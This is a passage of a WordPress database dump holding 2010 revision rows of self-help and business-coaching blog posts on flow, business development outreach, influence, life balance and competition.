flow</strong><br />\r\nAccording to the 5,000 year old Chinese system of thinking known as the <a href="http://en.wikipedia.org/wiki/I_Ching" target="_blank"> I-Ching</a>, as you follow your individual path of least resistance, you  will experience seven phenomena that will accelerate your progress,  growth and success. I’m confident you have experienced and recognize one  or more of these during those times when you were experiencing moments  of peak performance:</p>\r\n<p><strong>The flow of critical moments</strong><br />\r\nYou recognize those moments where the game is won or lost. Your sense of  timing, discernment, and decisiveness enables you to capitalize on  opportunity long before anyone else does.</p>\r\n<p><strong>The flow of learning cycles</strong><br />\r\nYou recognize that everything is a learning cycle. The more you play,  the deeper your passion, and the better you get. This knowledge sharpens  your effectiveness in future critical moments.</p>\r\n<p><strong>The flow of failing forward</strong><br />\r\nYou know there are only two kinds of failure­– one gives you learning,  the other ends the game.  When you experience outcomes you don’t want,  you’ll know immediately what to do next to play bigger and better.</p>\r\n<p><strong>The flow of new opportunities</strong><br />\r\nYou recognize there are only two kinds of opportunity. One you create,  the other you attract. You have no problem saying “no” to anything that  keeps you comfortable and holds you back, and you attract only the  opportunities that will continue to expand your scene.</p>\r\n<p><strong>The flow of your commitments</strong><br />\r\nYou know your decision to follow your path is irrevocable. Being certain  and “all in” on your vision demonstrates your faith and escalates your  attraction of resources necessary to make it physical reality.</p>\r\n<p><strong> </strong></p>\r\n<p><strong>The flow of your perseverance</strong><br />\r\nYou know that ideas take their own sweet time coming into form, and you  are willing to persevere on your natural path through thick and thin, no  matter what.</p>\r\n<p><strong>The flow of your momentum</strong><br />\r\nYou recognize that momentum is the force created by the previous six,  all working in harmony to accelerate your performance like a precision  racing motor.</p>\r\n<h2><span style="color: #808080;">“What lies behind us and what lies before us are tiny matters compared to what lies within us”.</span></h2>\r\n<p><span style="color: #808080;"><strong>– Oliver Wendall Holmes</strong></span></p>\r\n<p>Flow is within you not outside of you– the well spring of your flow  is found at the core of your white hot center. You have unique talents,  gifts, capabilities and insight that have always been there. You may  not recognize their value because they are so natural to you. You hardly  give them a second thought.  But if you carefully assess your past peak  moments of performance and brilliance, you will notice a pattern  emerging. That pattern of being and doing is you at genius levels. Do  more of that, delegate or find partners to do everything else!</p>\r\n<p>You  must know with certainty the “game you want play”, and follow the rules  of how your game is played. Your growth and success (flow) is  determined by who you are, not by what you do. You can be the best at  what you do, and still not find a way tap in to the greater flow  available for you at the next level of game.</p>\r\n<p><strong>At the end of the day, more flow requires playing a bigger game completely aligned to your individual path of least resistance.<br />\r\n</strong></p>\r\n<p>Please share your comments.</p>\r\n', 'The path of least resistance to create flow mojo.', 0, '', 'inherit', 'open', 'open', '', '1026-autosave', '', '', '2010-12-27 15:58:42', '2010-12-27 22:58:42', '', 1026, 'http://www.whitehotcenter.com/2010/12/27/1026-autosave/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(1371, 2, '2010-08-02 16:09:10', '2010-08-02 23:09:10', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="482" height="214" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, health care, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-18', '', '', '2010-08-02 16:09:10', '2010-08-02 23:09:10', '', 1002, 'http://www.whitehotcenter.com/2010/08/02/1002-revision-18/', 0, 'revision', '', 0),
(1372, 2, '2010-12-27 16:00:21', '2010-12-27 23:00:21', '<img class="alignnone size-full wp-image-1003" title="bizdev" src="http://whc.fbdev.org/wp-content/uploads/2010/08/bizdev.gif" alt="" width="434" height="193" />\r\n<h2 style="text-align: left;">Many solo professionals struggle  with the discipline to maintain effective new business strategies  relying instead on referrals. There is a better  way to build your new business chops.</h2>\r\n<div>\r\n\r\nHow do you feel about the effectiveness  of your business development initiatives?  We all recognize new clients  are of vital importance, however many solo professionals only do  business development activities when they’re not engaged with the  demands of their paying clients. If you want your business to grow, your  business development strategies and tactics must be working for you all  the time regardless of how busy you are with your current clients.  Unlike referrals, sustained business development activities will create  predictability in your business. Business development is an imperative  you cannot ignore if you are to have a thriving business.\r\n\r\n<strong>Business development is not selling.</strong>\r\n\r\nSelling is about creating and presenting your solution to a specific  problem the client-to be has shared with you after much conversation.   Business development involves a lengthy process of turning suspects into  prospects. The objective of your business development activities is to  have a full pipeline or funnel of qualified prospects that may do  business with you in the future– usually six months to a year down the  road.\r\n\r\nYour business development strategy must enable you to discover,  attract, and qualify only those prospects who are a good fit for you,  value your expertise, and will pay a premium fee for the solution you  provide.  To accomplish this, you must first articulate a specialized  value proposition around your expertise, and position your value  proposition in the minds of prospects in a manner that separates and  distinguishes you from your competitors.\r\n\r\n<strong>Be a value-creator not an order-taker.</strong>\r\n\r\nTo increase your influence in the buying cycle, you must center your  business development strategy on building a  “value-creator”  positioning. The reality we all face today is clients have abundant  choice. The basic economic principle of supply and demand governs the  price of literally every product or service. When your prospective  clients have abundant choice, you will most likely have little or no  power in the buying cycle.  Clients will naturally be focused on  obtaining your services at the lowest price possible.\r\n\r\nValue-creators are highly paid specialists–known for their expertise  in either a professional discipline (PR, web developer, writer,  designer, etc.) and / or a specific market vertical, (apparel, packaged  goods, legal, health care, etc.)  Value-creators build their business and  reputations on deep and narrow expertise. On the other hand,  order-takers are usually generalists who try to be all things to all  people. They are in abundant supply and always compete on price.\r\n<h2><span style="color: #808080;">When you position your expertise as a specialized value-creator, your  business development activities will automatically be more focused and  productive. </span></h2>\r\nYou will more easily be able to identify your prospects and  build your database accordingly.  Also, your ability to attract  clients-to-be will not be limited by your location because clients who  require your expertise can come from everywhere. This expands your  potential for new business opportunities exponentially!\r\n\r\n<strong>Turning an interruption into a conversation.</strong>\r\n\r\nOnce you’ve made the decisions about your specialized positioning,  and your positioning is properly reflected and stated on your website  and other marketing material, you will be building your database of  suspects and reaching out to them in some fashion. Business development  means you will have to interrupt people.  Of course no one likes to be  interrupted. That’s why you must understand that the business  development process is not about creating business next week.  Business  development involves a long process of turning an interruption into a  conversation.  There are two types of outbound business development  communication to your suspect list– passive and direct outreach.  Both  are necessary to align your efforts to the buying cycle of your  clients-to-be.\r\n\r\n<em>Passive Outreach</em>\r\nPassive outreach is a business  development process focused on creating awareness to your business. This  may sound like a colossal understatement, but how you create awareness  has an important impact on your ability to turn an interruption into a  conversation.  The best method for accomplishing this is to continuously  share your expertise and knowledge with your targeted tribe of  clients-to-be.  Here are some items to consider in building passive  awareness:\r\n<ul>\r\n	<li>create      a blog and write about what you know will be valuable  and useful to your      target audience. Make sure people can easily  subscribe to receive your      blog articles directly.</li>\r\n	<li>Submit      articles and white papers to other bloggers and offline publications in      your area of expertise.</li>\r\n	<li>Develop      a long-term strategy for using social media, and begin  to participate in      the online dialogue that is exploding right now  in every professional      discipline.</li>\r\n	<li>Become      a featured speaker or panelist at business conferences  and events centered      on your particular area of expertise.</li>\r\n	<li>Use      email marketing to distribute your content, share news and  information to      your target audience of suspect clients-to-be. Make  sure you comply with      all the protocols and regulations surrounding  spam.</li>\r\n</ul>\r\n<h2><span style="color: #808080;">These passive outreach activities should <em>never</em> involve  direct solicitations for business. At this level, your focus should be  about adding goodwill to the collective dialogue your clients-to-be are  interested in.  This builds trust, which in turn builds credibility to  your claim of expertise.</span></h2>\r\nDone properly, your passive outreach business  development efforts will create opportunities for you to respond to  inbound inquiries from prospective clients you are seeking your  specialized expertise. I like to think of passive outreach as chumming  the water to attract the fish.\r\n\r\n<em>Direct Outreach</em>\r\nYou might automatically associate direct  outreach as cold calling. I never cold call and you shouldn’t either.  (Unless you enjoy rejection). Direct outreach is also about creating  awareness to your expertise, but the methods are more highly targeted  and involve some form of incentive for your client-to-be to reward you  with the time of day. The advantage of direct outreach initiatives is  the potential for discovering more near-term opportunity that you can  effectively qualify as a good fit for your expertise.  Of course, there  are many tactics you can utilize, but here is the process I believe is  most effective in early stage direct outreach:\r\n<ul>\r\n	<li>Send a      snail mail introduction letter to a prospect. The letter  must be brief (no      longer than your little finger).       In the  letter you       “invite” them to visit your blog/site so they can  access your      knowledge sharing, become of aware of your specialized  expertise and learn      how other companies have benefited from their  association with you.      Enclose your business card with the letter.</li>\r\n	<li>In      those instances when you have <em>real knowledge</em> that a  client-to-be is currently seeking a solution to a specific       problem, you may outline in your introduction letter /email your       capabilities and experience in providing a solution.  You may attach  appropriate case      studies as proof of your expertise.</li>\r\n	<li>Follow      up your introduction with a phone call to qualify their  interest, and your      capacity to be a good fit for them. Ask only for  their permission to      include them on your mailing list, or to be  subscribed to your blog posts.  Usually you will do this as a      voice  mail message. I suggest simply stating your return number and your       email address.</li>\r\n</ul>\r\n<h2 style="text-align: left;"><span style="color: #808080;">I suggest in these early direct outreach communications that you <em>do not </em>ask  for an appointment to a sales presentation.</span></h2>\r\nRemember you goal is to  establish awareness and credibility only! People simply do not have time  to attend random webinars and sales presentations at this early stage.  Believe me, if the client-to-be sees a good fit and they have a current  need, they’ll let you know.\r\n\r\n<strong>Inbound conversation is the goal of outbound business development.</strong>\r\n\r\nAs a stated earlier, business development is not selling!  The goal  of business development is to drive inbound conversations with  clients-to-be and focus those conversations on discovering if there is a  good fit between their need and your capacity to add value to them.   Once that conversation starts, you have moved into a deeper phase in the  sales cycle with the client-to-be. To work effectively, you must maintain the on-going discipline to  actively pursue passive and direct outreach to your prospects.\r\n\r\n<strong>If you  are to grow your business beyond referrals, business development  activities must be consistent and focused on turning suspects into  prospects and your interruptions into valuable conversations.</strong>\r\n\r\n</div>', 'How To Turn an Interruption into a Conversation and Other Smart Strategies for Business Development', 0, '', 'inherit', 'open', 'open', '', '1002-revision-19', '', '', '2010-12-27 16:00:21', '2010-12-27 23:00:21', '', 1002, 'http://www.whitehotcenter.com/2010/12/27/1002-revision-19/', 0, 'revision', '', 0),
(1373, 2, '2010-07-15 07:48:21', '2010-07-15 14:48:21', '<img class="alignnone size-full wp-image-872" title="influence" src="http://whc.fbdev.org/wp-content/uploads/2010/06/influence.gif" alt="" width="493" height="312" />\r\n<h2>Think for a moment about how skillful you are at influencing people. Influence is the most important attribute of a successful person, brand or organization. You simply must be influential, if you are to achieve any goal or desire. Influence is not something with which we''re born. It can be learned, and with focused diligence on your part, you can become a master at influencing people and their desire to do business with you.</h2>\r\nLet’s begin our discussion by defining what influence really is. First off, influence is not coercion.  Influential people have a highly developed skill that has a direct impact on the thinking, decisions and behaviors of others. This influence moves people in a positive way that instills trust and respect. Influential people have a vivid picture in their mind of how they want others to respond to them, and a high percentage of the time, they make that picture become reality.\r\n\r\nAs an creative entrepreneur, you already know the value your influence skills have on making every aspect of your business massively successful.  Within the context of marketing and sales, influence is essential for success. How can you be more influential in creating demand for your offerings?  The following principles represent the most powerful "guidelines" to master the art of influence with others.\r\n\r\nAs you read each of them, assess your strengths and weaknesses. Which principles already shape how you interact with your colleagues, customers and prospective customers every day? Which of these principles do you know to be true, yet don''t practice (and why not)? And which ones are new to you, that provide inspiration you can act on to grow your influence right away?\r\n\r\n<strong>Balance your desire for results with strengthened relationships.</strong>\r\nTo be influential, you must achieve your results while strengthening your relationships with others. You can push too hard, achieve a result but damage the relationship by being forceful and coercive. On the other hand, if you are timid and passive, and avoid standing up confidently, you diminish the respect people have for you, which in turn diminishes your influence significantly. In selling situations, both are the kiss of death. Influential people have a knack for balancing both their desire for results with actions that build stronger relationships.\r\n\r\n<strong>It’s all about them and never you!</strong>\r\nTo be truly influential, create opportunity for others first. People do things for their reasons, never for yours. In every conversation with colleagues and customers, put your focused energy on making them successful first.  Your growing influence will be a natural result. You’ll know you are growing your influence when you hear yourself saying “you” more than “I” in your conversations.\r\n\r\n<strong>People do things for emotional reasons, not logical ones.</strong>\r\nUltimately, people act (buy) for emotional reasons – even those who seem completely logical by nature. Most of us want to experience pleasure and avoid pain. If you can show people why your ideas, products or services will help them feel pleasure and not pain, your influence with them will grow significantly.\r\n\r\n<strong>People want more of what is in short supply.</strong>\r\nWhen you give the impression that your services are exclusive, that your business is full, and that you only work with a few clients at a time, you will be more attractive to prospects. That''s because people want more of what they believe they can''t have. In creating greater demand for your products and services, you have to be special and specialized. When you (and your business) become the known expert for solving a specific problem, clients with the problems you solve will seek you out. This enables you to be selective about the customers you take on. When you create scarcity for your time, you also create more influence. You also can charge a premium for your offerings.\r\n\r\n<strong>People are influenced by how remarkable you are.</strong>\r\nWhen others are remarking about you in positive ways, you become remarkable!  All influential people are remarkable. The more your clients-to-be hear of you through trusted third party sources, (the web, friends, colleagues, trade magazines, bloggers) the more your influence grows. To build your influence today, you must engage in the social media conversation that people in your market are currently having. Do more of these things:\r\n\r\n<strong><span style="color: #ff6600;">Ask for testimonials and endorsements from your current and past clients.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Start a blog on your website, share your expertise, and build your credibility.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Develop case studies as digital downloads on your site, or as links in your articles.</span></strong>\r\n\r\n<strong><span style="color: #ff6600;">Volunteer your time and expertise with leaders in your target market.</span></strong>\r\n\r\n<strong>People are influenced by people they like and are like them.</strong>\r\nTo be more influential, be more like the people you want to influence. Talk about things that they care about, show common ground and shared values. Remember that like attracts like. Being perceived by others as a trusted member of the tribe enhances your influence. Of course, in this regard, your actions must speak louder than your words. To be influential with your clients-to-be, there are two questions they need an affirmative answer to:\r\n<h2><span style="color: #808080;">can you solve my problem?</span></h2>\r\n<h2><span style="color: #808080;">do I want to work with you?</span></h2>\r\nThe more common ground you have with your clients-to-be will go a long way towards their answer to the second question–and it will influence their answer to the first. It’s not difficult to be likeable when you are genuine, humble, courteous, respectful and show empathy for others.\r\n\r\n<strong>Pulling is more influential than pushing.</strong>\r\nThere are two ways to influence other people: you can push them, or you can pull them. In a selling situation, nobody wants to be pushed. I believe in this idea so strongly I named my marketing and brand consulting firm <a href="http://www.pullinc.com" target="_blank">PULL</a>.  Pulling implies there is a magical, powerful, attractive and influential force behind your actions. You pull people into your orbit with the gravity of your caring, listening and sharing of ideas that will serve your customer’s success.  Serve another person''s  success and you will be immediately influential to them.\r\n\r\n<strong>Stand on equal ground, and then elevate all others.</strong>\r\nFinally, you are more influential when you stand as an equal with the person you want to influence. You must project an image of confidence and mastery. In selling, this is essential. More importantly, your influence takes a quantum leap when everything you do elevates and inspires the confidence and mastery of other people, particularly your clients. I believe this to be a prerequisite for leadership. Lighting the way for others by your own example is the surest method for influencing the thinking and behavior of others.\r\n<h2><span style="color: #808080;">Of course if none of these principles resonate with you, dust off your old copy of Dale Carnegie’s iconic book and give it a good read.</span></h2>', 'How to master the art of influence.', 0, '', 'inherit', 'open', 'open', '', '871-revision-10', '', '', '2010-07-15 07:48:21', '2010-07-15 14:48:21', '', 871, 'http://www.whitehotcenter.com/2010/07/15/871-revision-10/', 0, 'revision', '', 0),
(1374, 2, '2010-07-15 07:50:33', '2010-07-15 14:50:33', '<img class="alignnone size-full wp-image-860" title="spinning plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates1.gif" alt="" width="482" height="417" />\r\n<h2>Part 2 of a 2-Part Series</h2>\r\n<h2>Hopefully you have taken a moment to think about your level of satisfaction in each of the areas of your life. After studying your score, do you see where attention is needed? Of course you do, we all have areas in our life where we have greater and lesser satisfaction. It is my belief that the experience of satisfaction and fulfillment in life, is the result of an inner sense of living in balance.</h2>\r\nBalance produces a sense of wholeness, completeness, peace and inner calm.  You might think of the method for living a balanced life as something akin to the autopilot that flies an airplane. When the autopilot is engaged, the plane is mostly flying off course. The autopilot senses these small, moment-to-moment course deviations (imbalances) and corrects the flight path. This is a subtle movement, and underneath the awareness of the pilots in the plane.  Living life with a sense of balance is a subtle dance. Over the long journey, you’ll guide yourself much like the finely-tuned autopilot, sensing imbalances as they occur in your daily life and correcting them accordingly in real time.\r\n\r\nHere are a few suggestions that will help you be in the frame of mind that will support the discipline required to become fine-tuned to what’s happening around you so you can keep all your plates spinning with ease.\r\n\r\n<strong>Rest and rejuvenate</strong>\r\nYou can’t be a fine-tuned instrument when you are tired. Good ol R&amp;R is an absolute necessity if you are to find balance in your life.  Many entrepreneurs struggle with the idea that rest is more important than activity.  A mind and body well rested is essential for creativity and innovation.\r\n\r\n<strong>Keep a journal</strong>\r\nI have kept this practice going in my own life for over 20 years. I find the simple act of thinking and writing with my hand to be of profound value in helping me keep my sense of balance and proportion in my life. I could not recommend any technique more enthusiastically!  The thing about a journal I like best is how it brings me present with my own thoughts. I can more easily open up to ideas about the who, what, when and how of my life priorities.  Interestingly enough, I never re-read what I write. For me, being in the stream of consciousness is more important than the subject.\r\n\r\n<strong>Spend time alone</strong>\r\nMany people struggle with being by themselves. Many people are constantly in the company of others– colleagues, family, spouse, friends, even crowds. I can tell you with absolute conviction, you will never get a sense of balance in your life until you learn to enjoy spending time with yourself. There are many ways to enjoy your own company–go for a walk, jog, ride a bike, be out in nature, or just sitting quietly at home.\r\n\r\n<strong>Move your body</strong>\r\nYou can’t neglect your biology. You need a vibrant, flexible, healthy body if you are going to be available to live with satisfaction and fulfillment in all the areas of your life. Like anything you do on a regular basis, make exercise a daily habit. It doesn’t take much exercise to reap big rewards. Any exercise that involves physical balance automatically puts the mind in the same state.\r\n\r\n<strong>Pursue your hobbies</strong>\r\nHaving an interest that is outside the realm of “money-making” is vital to life balance. It doesn’t matter what it is, but you must engage in things regularly that bring you pleasure, joy, fun and amusement.\r\n\r\n<strong>Be with your family</strong>\r\nOur families are often taken for granted because we are always involved with family obligations. There is nothing more rewarding than just simply being with our families. It doesn’t matter what you do, just do something meaningful for all.  Go to your kid’s ball game, music recital, have a pot luck with relatives– at the end of the day it’s what we’re all working hard for right?\r\n\r\n<strong>Serve others</strong>\r\nAnytime you are in service to others, you are creating more balance in your own life. The reason is simple–to serve others, the focus is not on you!\r\n\r\n<strong>Everything in moderation</strong>\r\nModeration is just another word for balance. Do everything in moderation–from eating chocolate to developing your next product! If one thing in your life becomes out of sync with the rest of your life, it won’t be long before you are in a state of dis-ease. Over longer periods of time, dis-ease becomes disease.\r\n\r\n<strong>Indeed, for many entrepreneurs (myself included), passion and persistence for building our business is a top priority.  However, business and financial success alone is not enough for you to enjoy the sense of satisfaction and fulfillment that comes from living a balanced life. </strong>', 'Part II-Spinning Plates on a Stick and other Life Tricks ', 0, '', 'inherit', 'open', 'open', '', '859-revision-8', '', '', '2010-07-15 07:50:33', '2010-07-15 14:50:33', '', 859, 'http://www.whitehotcenter.com/2010/07/15/859-revision-8/', 0, 'revision', '', 0),
(1375, 2, '2010-07-15 07:52:34', '2010-07-15 14:52:34', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="491" height="425" />\r\n<h2>Part 1 of a 2-Part Series</h2>\r\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes your focus can become an obsession.</h2>\r\nMany obsess figuring out ways to build their business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?\r\n\r\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it. I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\r\n\r\n<strong>Spinning plates.</strong>\r\n\r\nBringing our life more into balance can sometimes seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused solely on the most pressing one… say your business for example.\r\n\r\n<strong>Check in with yourself.</strong>\r\n\r\nHere is a simple exercise that will help you check in with yourself to determine your level of satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\r\n<h6>Step One:</h6>\r\nOn a piece of paper, simply make a list of these words on the left side:\r\n\r\n<strong>- Geography / Environment\r\n-  Career / Profession\r\n-  Financial\r\n-  Family\r\n-  Personal Relationships\r\n-  Health\r\n-  Avocation\r\n-  Spiritual</strong>\r\n<h6>Step Two:</h6>\r\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\r\n<h6>Step Three:</h6>\r\n<img class="alignright size-full wp-image-850" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction1.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too! Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\r\n\r\n<strong>Now pay closer attention.</strong>\r\n\r\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\r\n\r\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.\r\n<h2><span style="color: #808080;">Living in balance is a daily activity, created by the choices you make in each and every moment.</span></h2>\r\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and financial success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\r\n\r\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks ', 0, '', 'inherit', 'open', 'open', '', '845-revision-12', '', '', '2010-07-15 07:52:34', '2010-07-15 14:52:34', '', 845, 'http://www.whitehotcenter.com/2010/07/15/845-revision-12/', 0, 'revision', '', 0),
(1376, 2, '2010-07-15 07:57:27', '2010-07-15 14:57:27', '<h2><img class="alignnone size-full wp-image-841" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition4.gif" alt="" width="460" height="453" /></h2>\r\n<h2>Many of us have been taught to believe competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose. This is a corrosive belief.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. Competition draws a line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your 